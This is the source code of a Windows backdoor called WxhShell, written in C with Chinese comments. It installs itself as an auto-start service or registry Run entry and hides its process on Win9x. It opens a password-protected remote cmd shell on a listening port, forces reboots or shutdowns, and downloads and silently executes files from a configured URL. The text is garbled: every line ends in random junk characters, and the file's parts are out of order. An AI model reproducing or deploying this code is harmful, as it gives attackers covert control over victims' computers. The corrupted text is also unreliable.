    if(Boot(SHUTDOWN)) wLxuSs|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0E9 lv"3o  
    else { SgkW-#  
    closesocket(wsh); Bf;<3k)5.  
    ExitThread(0); 1n[wk'}qf4  
    } KQ0f2?  
    break; lQxEiDIL  
    } W9]0X  
  // 获取shell *ZIX76y<!A  
  case 's': { %~P3t=r  
    CmdShell(wsh); 8%p+:6kP5  
    closesocket(wsh); <) -]'@*c  
    ExitThread(0); bl{W{?QI  
    break; (dh9aR_a  
  } 8( Q  
  // 退出 5sSAH  
  case 'x': { +0%Y.O/{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ym6v4k!@O  
    CloseIt(wsh); .g94|P  
    break; S5r.so  
    } I8|"h8\  
  // 离开 kx;7/fH  
  case 'q': { &UO/p/a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V9cj  
    closesocket(wsh); x4,[5N"}YK  
    WSACleanup(); dj}|EW4  
    exit(1); Df$~=A}  
    break; w|NId,#f  
        } |io)?`pj  
  } PEaZ3{-  
  } lqa~ZF*  
1$^r@rP  
  // 提示信息  SiJ{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wOLV?Vk  
} (iIzoEpb8W  
  } X~/-,oV=A  
Z$%!H7w  
  return; /SyAjZ  
} ^z~drcR  
.v-2A);I  
// shell模块句柄 -$49l  
int CmdShell(SOCKET sock) [+="I &  
{ b5ul|p  
STARTUPINFO si; &wN}<G e6  
ZeroMemory(&si,sizeof(si)); DyA1zwp}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4n1 g@A=y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b `bg`}x  
PROCESS_INFORMATION ProcessInfo; @ZrNV*&<  
char cmdline[]="cmd"; tu/4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j`K0D65  
  return 0; B?Rkz  
} s,l*=<  
 vNdW.V}  
// 自身启动模式 l3/Cj^o4  
int StartFromService(void) *SlWA)9 Y  
{ ZI8@ 6L\  
typedef struct Mm1>g~o  
{ K<%8.mZ7  
  DWORD ExitStatus; zU!d(ge.E  
  DWORD PebBaseAddress; k ~F ,n  
  DWORD AffinityMask; qT&zg@m  
  DWORD BasePriority; M@p<L VP  
  ULONG UniqueProcessId; ?^LG>GgV  
  ULONG InheritedFromUniqueProcessId; Qz_4Ms<o  
}   PROCESS_BASIC_INFORMATION; kuq&; uk$Q  
<*P)"G  
PROCNTQSIP NtQueryInformationProcess; zAev@+.ld  
z46Sh&+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; " RIt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oa[O~z{~  
.Yz^r?3t  
  HANDLE             hProcess; @\>7 wt_'  
  PROCESS_BASIC_INFORMATION pbi; NL2D,  
YPO24_B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2L51 H(  
  if(NULL == hInst ) return 0; Hw6 2'%  
W@zu N)U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i [Wxu M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ll VbY=EX7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "v0SvV<7  
)n[=)"rf  
  if (!NtQueryInformationProcess) return 0; FIu^Qd  
j0w@ \gO<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @hrIu" '!  
  if(!hProcess) return 0; %;<g!Vw.k  
a=vH:D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aSgKh  
L:Mjd47L  
  CloseHandle(hProcess); }r;=<mc,O  
Xn>>hzj-x?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s?4nR:ZC}  
if(hProcess==NULL) return 0; ->7zVAX  
WMWUP ZsGS  
HMODULE hMod; nKI?Sc  
char procName[255]; 8U7d d[  
unsigned long cbNeeded; ;>F1?5P{  
#B#xSmak  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hF`<I.z}  
:JZV=@<T  
  CloseHandle(hProcess); `0MQL@B  
a`?Vc}&  
if(strstr(procName,"services")) return 1; // 以服务启动 nE2?3S>  
^&$86-PB/  
  return 0; // 注册表启动 7W5Cm\  
} 5g$>J)Ry  
%az6\"n  
// 主模块 m}S}fH(  
int StartWxhshell(LPSTR lpCmdLine) 4gUx#_AaG  
{ 6s ~!B{Q  
  SOCKET wsl; kg,\l9AM  
BOOL val=TRUE; 4^d).{&X  
  int port=0; Xs'qwL~{`  
  struct sockaddr_in door; b):aqRwP  
:2')`xT  
  if(wscfg.ws_autoins) Install(); (v? rZv  
q:iu hI$~G  
port=atoi(lpCmdLine); 2"%f:?xV{  
9wO2`e )  
if(port<=0) port=wscfg.ws_port; K@ &;f( Y  
s<aG  
  WSADATA data; joZd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iM6(bmc.  
:Gx5vo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   475g-t2"@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ta PqRsvu  
  door.sin_family = AF_INET; %T\ 2.vl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &2O~BIRE  
  door.sin_port = htons(port); s B^ejH  
eV }H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RZ ?SiwE  
closesocket(wsl); Kxz|0l  
return 1; rls{~ZRl  
} D]|{xKC}  
;d]vAj  
  if(listen(wsl,2) == INVALID_SOCKET) { >B*zzj  
closesocket(wsl); v-Q>I5D;:  
return 1; P97i<pB Y_  
} AE Elaq.B  
  Wxhshell(wsl); v$5D&Tv  
  WSACleanup(); LB}J7yEQvj  
b.kV>K"X3  
return 0; _5$L`&  
o=xMaA  
} yx;K&>  
YIb7y1\UM  
// 以NT服务方式启动 yUO%@;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9jNh%raG|  
{ eIN0 T;1T  
DWORD   status = 0; }_@p`>|)rB  
  DWORD   specificError = 0xfffffff; I{.t-3hp  
2+ g'ul`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +V[;DOlll  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `@vksjxu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /WK1(B:  
  serviceStatus.dwWin32ExitCode     = 0; 5l%g3F  
  serviceStatus.dwServiceSpecificExitCode = 0; 40dwp*/!  
  serviceStatus.dwCheckPoint       = 0; HnsLYY\  
  serviceStatus.dwWaitHint       = 0; Hc8!cATQk  
[UB*39D7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }LLQ +  
  if (hServiceStatusHandle==0) return; 'R42N3|F  
ua_,c\iL  
status = GetLastError(); t3K9 |8<  
  if (status!=NO_ERROR) ];N/KHeZ  
{ \(`C*d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ld 1[Usaq  
    serviceStatus.dwCheckPoint       = 0; C#3&,G W  
    serviceStatus.dwWaitHint       = 0; vmo!  
    serviceStatus.dwWin32ExitCode     = status; x;LO{S4Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; j8rxhToC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H6`zzH0"  
    return; ?Jgqb3+!o  
  } r@wE?hK  
Xr88I^F;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HIfi18  
  serviceStatus.dwCheckPoint       = 0; +$/NTUOP  
  serviceStatus.dwWaitHint       = 0; I'N!j>5oX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,_=LV  
} -_]Ceq/  
$~?)E;S  
// 处理NT服务事件,比如:启动、停止 ng6E &<Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #c'}_s2F[  
{ n,_9Eh#WD  
switch(fdwControl) [TxvZq*4  
{ 1CV ?  
case SERVICE_CONTROL_STOP: 5-S-r9  
  serviceStatus.dwWin32ExitCode = 0; Y ._O m}H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [=u@6Y  
  serviceStatus.dwCheckPoint   = 0; x@pzgqi3  
  serviceStatus.dwWaitHint     = 0; :?i,!0#"  
  { L},o;p:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mt%Q5^  
  } f}?p Y"yvO  
  return; o_ [I#PT  
case SERVICE_CONTROL_PAUSE: :X7O4?ww  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GSH,;cY  
  break; v`:!$U* H=  
case SERVICE_CONTROL_CONTINUE: %%h.`p1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RtDTcaW/  
  break; W v,?xm  
case SERVICE_CONTROL_INTERROGATE: T~p>Ed9  
  break; oDG BC  
}; %Rk0sfLvn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7~QAprwVS  
} zhyf}Ta'  
Q2Uk0:M  
// 标准应用程序主函数 m+ #G*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )]m4FC:  
{ L%pAEoSG  
eq9qE^[Z&  
// 获取操作系统版本 `H^ H#W  
OsIsNt=GetOsVer(); B>cx[.#!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LVL#qNIu  
4~WSIR-  
  // 从命令行安装 {%\;'&@z\  
  if(strpbrk(lpCmdLine,"iI")) Install(); +hH7|:JQ  
xz7CnW1  
  // 下载执行文件 gDX\ p>7  
if(wscfg.ws_downexe) { !8RJHMX&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |UcF%VNnz1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4%<D\#  
} x3jjtjf  
~BBh4t&  
if(!OsIsNt) { :`4LV  
// 如果时win9x,隐藏进程并且设置为注册表启动 [[}ukG4  
HideProc(); .Lm`v0' w  
StartWxhshell(lpCmdLine); ;b_<5S  
} _e|-O>#pl  
else ^[ 2siG  
  if(StartFromService()) +bWo{   
  // 以服务方式启动 \PmM856=ms  
  StartServiceCtrlDispatcher(DispatchTable); ;N _ %O  
else KF`mOSP  
  // 普通方式启动 ~6Odw GWV  
  StartWxhshell(lpCmdLine); v6T<K)S  
x\G<R; Q  
return 0; j?! /#'  
} q+XU Cnv  
3b<;y%  
of`WP  
OoZv\"}!_  
=========================================== U8zs=tA  
6%&w\<(SG  
',6d0>4 *  
A5G@u}YS5  
ORfMp'uP=  
h>/L4j*Z  
" pJQ_G`E  
+n|@'= ]  
#include <stdio.h> c{i\F D  
#include <string.h> '5 9{VA6h  
#include <windows.h> S Fqq(K2u  
#include <winsock2.h> 4&B|rf  
#include <winsvc.h> h<BTu7a`r  
#include <urlmon.h> zR}vR9Ls  
m!Aw,*m+*  
#pragma comment (lib, "Ws2_32.lib") ,u.A[{@py  
#pragma comment (lib, "urlmon.lib") <I2~>x5db  
(abtCuZ8z  
#define MAX_USER   100 // 最大客户端连接数 ZVCa0Km  
#define BUF_SOCK   200 // sock buffer kyD*b3MN  
#define KEY_BUFF   255 // 输入 buffer XeAH.i<  
}wGy#!CSza  
#define REBOOT     0   // 重启 l_T5KV  
#define SHUTDOWN   1   // 关机 Ntpw(E<$f  
j<A; i  
#define DEF_PORT   5000 // 监听端口 U+@rLQ.-  
8oP"?ew#  
#define REG_LEN     16   // 注册表键长度 zY&/lWW._  
#define SVC_LEN     80   // NT服务名长度 K- TLzoYA  
}\EHZ  
// 从dll定义API WAGU|t#."  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #:[CF:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (gUxS.zU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N<aMUVm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >NBwtF>  
p@+D$  
// wxhshell配置信息 v <E#`4{  
struct WSCFG { WL<f!   
  int ws_port;         // 监听端口 Bvz& p)(  
  char ws_passstr[REG_LEN]; // 口令 p+:MZP -%(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?"T *{8  
  char ws_regname[REG_LEN]; // 注册表键名 ]hY4 MS  
  char ws_svcname[REG_LEN]; // 服务名 F6 f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }9Awv#+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z;EDyd,O>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NMhI0Ix$w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v`~egE17  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lFc^y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WVh]<?GWXk  
V(6Ql j7  
}; Ny 7vId  
e `IL7$  
// default Wxhshell configuration [J43]  
struct WSCFG wscfg={DEF_PORT, Q%_MO`<]$  
    "xuhuanlingzhe", >2LlBLQ  
    1, Rnk&:c  
    "Wxhshell",  =E:a\r  
    "Wxhshell", {3\{aZ8)  
            "WxhShell Service", Rc`zt7hbJ  
    "Wrsky Windows CmdShell Service", sm;\;MP*yH  
    "Please Input Your Password: ", -! :h]  
  1, Q Pp>%iE@  
  "http://www.wrsky.com/wxhshell.exe", vN`JP`IBx  
  "Wxhshell.exe" &uG@I=}TIY  
    }; _t\)W(E&  
#:} mi;{  
// 消息定义模块 p|'Rm ]&jb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )W3kBDD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C: a</Sl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EL1*@  
char *msg_ws_ext="\n\rExit.";  uE3xzF  
char *msg_ws_end="\n\rQuit."; j9$kaEf  
char *msg_ws_boot="\n\rReboot..."; 420yaw/":  
char *msg_ws_poff="\n\rShutdown..."; ^h"F\vIpV  
char *msg_ws_down="\n\rSave to "; -n`2>L1  
%jj\w>  
char *msg_ws_err="\n\rErr!"; MGSD;Lgn  
char *msg_ws_ok="\n\rOK!"; -5Ln3\ O@  
SI/p8 ^  
char ExeFile[MAX_PATH]; q%8Ck)xz  
int nUser = 0; K{]\}7+   
HANDLE handles[MAX_USER]; qwHP8GU  
int OsIsNt; _:?b -44  
GQ= Pkko  
SERVICE_STATUS       serviceStatus;  -bQi4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D 13bQ&\B-  
rb<9/z5-  
// 函数声明 |FJc'&)J"  
int Install(void); xX2/uxi8  
int Uninstall(void); "!_,N@\t  
int DownloadFile(char *sURL, SOCKET wsh); @!2vS@f  
int Boot(int flag); (c1Kg   
void HideProc(void); 55vI^SSA  
int GetOsVer(void); Ihg1%.^V\  
int Wxhshell(SOCKET wsl); |bv7N@?e  
void TalkWithClient(void *cs); Cc!LJ  
int CmdShell(SOCKET sock); xY1@Ja  
int StartFromService(void); wTPHc:2  
int StartWxhshell(LPSTR lpCmdLine); pJ H@v &a  
P/doNv}iG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w.R2' W R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R'x^Y"  
n3JSEu;J  
// 数据结构和表定义 g WHjI3;  
SERVICE_TABLE_ENTRY DispatchTable[] = RS /*Dp^  
{ R#Hz%/:|A  
{wscfg.ws_svcname, NTServiceMain}, :, Ad1(  
{NULL, NULL} ThJ`-Ro  
}; k|[86<&[  
%n:ymc $}  
// 自我安装 qBXIR }  
int Install(void) ,S\AUUt%  
{ K8g9IZ*lT  
  char svExeFile[MAX_PATH]; ()%;s2>F  
  HKEY key; z)XI A)i6  
  strcpy(svExeFile,ExeFile); b?%Pa\,!  
y`p(}X`>  
// 如果是win9x系统,修改注册表设为自启动 f l*O)r  
if(!OsIsNt) { ps@{1Rn1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RL~]mI!U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ck K9@RQ  
  RegCloseKey(key); Q'K[?W|C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %][6TZ}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B*T;DE   
  RegCloseKey(key); eCXw8  
  return 0; |t&gyj  
    } 37nGFH`K2m  
  } Jw)-6WJ!uO  
} bx=9XZ9g  
else { dEG1[QG  
]sG^a7Z.X  
// 如果是NT以上系统,安装为系统服务 7=[/J*-m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c$52b4=a  
if (schSCManager!=0) Swnom?t  
{ w>uo-88  
  SC_HANDLE schService = CreateService >*S ;z+!&  
  ( f4r)g2Zb[  
  schSCManager, Xhm)K3RA*T  
  wscfg.ws_svcname, -Gmg&yQ9  
  wscfg.ws_svcdisp, $7'KcG  
  SERVICE_ALL_ACCESS, T@\%h8@~]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y<9]7R(\;  
  SERVICE_AUTO_START, A,#a?O6m  
  SERVICE_ERROR_NORMAL, ?N(opggiD  
  svExeFile, 9,G94.da  
  NULL, BhC>G2 ^7  
  NULL, P* .0kR1n  
  NULL, mr\C  
  NULL, eL{6;.C  
  NULL kl i)6R<  
  ); %:/?eZ  
  if (schService!=0) j]bNOC2.L  
  { ~e#QAaXD#5  
  CloseServiceHandle(schService); Ki(  
  CloseServiceHandle(schSCManager); iK3gw<g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  WDq~mi  
  strcat(svExeFile,wscfg.ws_svcname); z`KP }-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G+zIh}9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wH N5H  
  RegCloseKey(key); -/3D0`R  
  return 0; kH}HFl  
    } _W^{,*p  
  } o0\d`0-el  
  CloseServiceHandle(schSCManager); Z2^B.r#  
} *nc9 u"  
} x>m=n_  
4NxI:d$&*  
return 1; p{S#>JTr  
} YMD&U   
6qH^&O][  
// 自我卸载 0$\ j  
int Uninstall(void) j#[%-nOT  
{ x3]y*6  
  HKEY key; j^qI~|#  
unN=yeut  
if(!OsIsNt) { -5TMV#i {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  TDR2){I  
  RegDeleteValue(key,wscfg.ws_regname); mj _ V6`m4  
  RegCloseKey(key); Q3|I.I e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ST7Xgma-  
  RegDeleteValue(key,wscfg.ws_regname); y~/i{a;1y  
  RegCloseKey(key); sm96Ye{O{  
  return 0; qS}pv  
  } )*T <s  
} ->Bx>Y  
} TB(!*t  
else { )!jX$bK  
AB")aX2% E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ):pFI/iC  
if (schSCManager!=0) "R9^X3;  
{ 4 N{5i )  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tj;<EaM  
  if (schService!=0) W9%B9~\G;+  
  { ! tPHT  
  if(DeleteService(schService)!=0) { ~u+|NtF  
  CloseServiceHandle(schService); ygS vYMC  
  CloseServiceHandle(schSCManager); JwM Fu5@  
  return 0; 9o|#R&0  
  } ;|H(_J=6k  
  CloseServiceHandle(schService); 8bP4  
  } g"o),$tm  
  CloseServiceHandle(schSCManager); oq3{q  
} *&sXC@^@^  
} l<YCX[%E  
aB+B1YdY"  
return 1; P|{Et=R`1  
} *zn=l+c  
]53'\TH  
// 从指定url下载文件 .vJ t&@NO  
int DownloadFile(char *sURL, SOCKET wsh) H G)c\b  
{ S+Vsy(  
  HRESULT hr; Vuu_Sd  
char seps[]= "/"; [osm\w49  
char *token; *2tG07kI  
char *file; ZUxlk+o9d  
char myURL[MAX_PATH]; ":upo/xN  
char myFILE[MAX_PATH]; *S$`/X  
&}/h[v_#'  
strcpy(myURL,sURL); ,) JSX o  
  token=strtok(myURL,seps); =-GHs$u%f  
  while(token!=NULL) en6oFPG   
  { F6h|AF|"  
    file=token; rt7]~W-  
  token=strtok(NULL,seps); _2C[F~ +l  
  } j/9Uf|z-_  
Oor&1  
GetCurrentDirectory(MAX_PATH,myFILE); >S:>_&I`I  
strcat(myFILE, "\\"); cjel6 nj  
strcat(myFILE, file); @xI:ZtM  
  send(wsh,myFILE,strlen(myFILE),0); 1TvR-.e  
send(wsh,"...",3,0); =1}Umn|ZLS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l[EjtN  
  if(hr==S_OK) oIP<7gz  
return 0; $"/xi `  
else h^D]@H  
return 1; 1E*No1  
]E+deM  
} 2AAZZx +$  
E\(dyq/  
// 系统电源模块 <6s?M1J  
int Boot(int flag) ~Zc=FP:1  
{ . .|>|X4  
  HANDLE hToken; /@<Pn&Rq  
  TOKEN_PRIVILEGES tkp; R`F54?th  
w< hw>e^.  
  if(OsIsNt) { E,[@jxP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?_L)|:WL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5;5DEMe  
    tkp.PrivilegeCount = 1; ^qaS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z.b}   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "eq{_4dL  
if(flag==REBOOT) { UJXRL   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lw4#xH-?  
  return 0; ?mJNzHrq;  
} F_9eju^|  
else { JC~L!)f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kCXQHX  
  return 0; +!'\}"q  
} [X'XxYbZ  
  } phu`/1;p  
  else { z+K-aj w  
if(flag==REBOOT) { ,9I %t%sb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cnQ;6LtFTz  
  return 0; g]IRv(gDh  
} 8E:8iNbF  
else { 2sj[hI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IJxBPwh  
  return 0; *;Q IAd  
} w-%V9]J1  
} l^ P[nQDH  
q6 h'=By  
return 1; Lo^0VD!O  
} Yj/aa0Ka4  
cFcn61x-  
// win9x进程隐藏模块 tC0:w,C)  
void HideProc(void) WaY_{)x  
{ \K$9r=!(  
:DI``]Si\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SV2DvrIR  
  if ( hKernel != NULL ) A"(XrL-pV  
  { P.L$qe>O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k[9~Er+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 00Tm]mMQX  
    FreeLibrary(hKernel); BI\ )vr$  
  } y0!-].5UH  
ldd|"[Ds  
return; E8_j?X1  
} J!O{.v  
,/?7sHK-0  
// 获取操作系统版本 Wpgp YcPS  
int GetOsVer(void) f{ ;L"*L  
{ F1m 1%  
  OSVERSIONINFO winfo; 0 rM'VgB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6n[O8^  
  GetVersionEx(&winfo); Lp!4X1/|\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &J>XKO nl  
  return 1; @u@ N&{b5"  
  else E#?Bn5-uBs  
  return 0; BM~>=emc  
} A_8UPGh8  
V-1H(wRu  
// 客户端句柄模块 $-J0ou8~  
int Wxhshell(SOCKET wsl) yj:<3_-C*  
{ &ikPa,A  
  SOCKET wsh; o\TXW qt  
  struct sockaddr_in client; A7`+XqG  
  DWORD myID; `;`fA|F^  
[9<c;&$LU  
  while(nUser<MAX_USER) 5L?_AUL  
{ +'-i(]@!'  
  int nSize=sizeof(client); `G@(Z:]f,t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b0(bL_,  
  if(wsh==INVALID_SOCKET) return 1; M]5)u=}S-  
QIK;kjr*A3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \!51I./Q/  
if(handles[nUser]==0) {wp~  
  closesocket(wsh); )ajF ca@v  
else qsA`\%]H  
  nUser++; {)CN.z:O  
  } -XJXl}M.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wr j<}L|  
4MFdhJoN  
  return 0; &UFj U%Z%  
} oCxh[U@*D  
kndN} Vq  
// 关闭 socket Ii.?| u  
void CloseIt(SOCKET wsh) fb=[gK#*,  
{ P&sn IJ  
closesocket(wsh); hifC.guK  
nUser--; .:~{+ <*`  
ExitThread(0); Fkvf[!Ci  
} ^~7/hm:  
-d*zgP  
// 客户端请求句柄 2ophh/]  
void TalkWithClient(void *cs) %a=^T?8  
{ ev4f9Fhu  
XU*4MU^'  
  SOCKET wsh=(SOCKET)cs; (i.7\$4  
  char pwd[SVC_LEN]; "9v4'"  
  char cmd[KEY_BUFF]; 1sIPhOIys  
char chr[1]; -;Ij ,  
int i,j; /)J]m  
,]LsX"u  
  while (nUser < MAX_USER) { KsDovy<  
C}=9m A  
if(wscfg.ws_passstr) { ])9|j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VkD}gJY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L!LhH  
  //ZeroMemory(pwd,KEY_BUFF); VBN=xg}  
      i=0; ]Vm:iF#5P  
  while(i<SVC_LEN) { kQ99{l H,5  
U3^3nL-M9  
  // 设置超时 ([ODmZHv  
  fd_set FdRead; nrM_ay  
  struct timeval TimeOut; 2uzy]faM  
  FD_ZERO(&FdRead); >9+h2B  
  FD_SET(wsh,&FdRead); K 9tr Iy$v  
  TimeOut.tv_sec=8; Yl`)%6'5|  
  TimeOut.tv_usec=0; :soR7oHZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pmuT7*<19  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nc9sfH3  
s?7"iE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?BnX<dbi&  
  pwd=chr[0]; % pQi}x  
  if(chr[0]==0xd || chr[0]==0xa) { %hVI*p3  
  pwd=0; _-:CU  
  break; y4N2gBTKu  
  } o#QS: '|  
  i++; q^ eLbivVE  
    } gXvE^fE  
]-{A"tJ  
  // 如果是非法用户,关闭 socket t8f:?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >c=-uI  
} -J;;6aA  
FyWrb+_0v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i'3)5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y(;u)uN_  
PB;j4  
while(1) { OV/ &'rC  
34I;DUdcE  
  ZeroMemory(cmd,KEY_BUFF); oIGF=x,e8  
9dwLkr  
      // 自动支持客户端 telnet标准   eL1)_M;{  
  j=0; B) BR y%  
  while(j<KEY_BUFF) { '3iJq9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M~ g{}_ 0Z  
  cmd[j]=chr[0]; l9naqb:iP  
  if(chr[0]==0xa || chr[0]==0xd) { hg-M>|s7  
  cmd[j]=0; m1DrT>oN'  
  break; FyqsFTh_  
  } D77s3AyHK  
  j++; b!T-{Ns6  
    } V)c.AX5  
Rnw v/)  
  // 下载文件 \u*[mrX_B:  
  if(strstr(cmd,"http://")) { N=j$~,yG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <_yy0G  
  if(DownloadFile(cmd,wsh)) AWDy_11Nm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kd OIL2T  
  else =%d.wH?dZ/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Zg4JQ~  
  } w g^'oy  
  else { W?gelu]  
z{nd4qOsD  
    switch(cmd[0]) { 1"No~/_  
  iCy$ rC  
  // 帮助 ?~X^YxWsY  
  case '?': { i2!0bY  
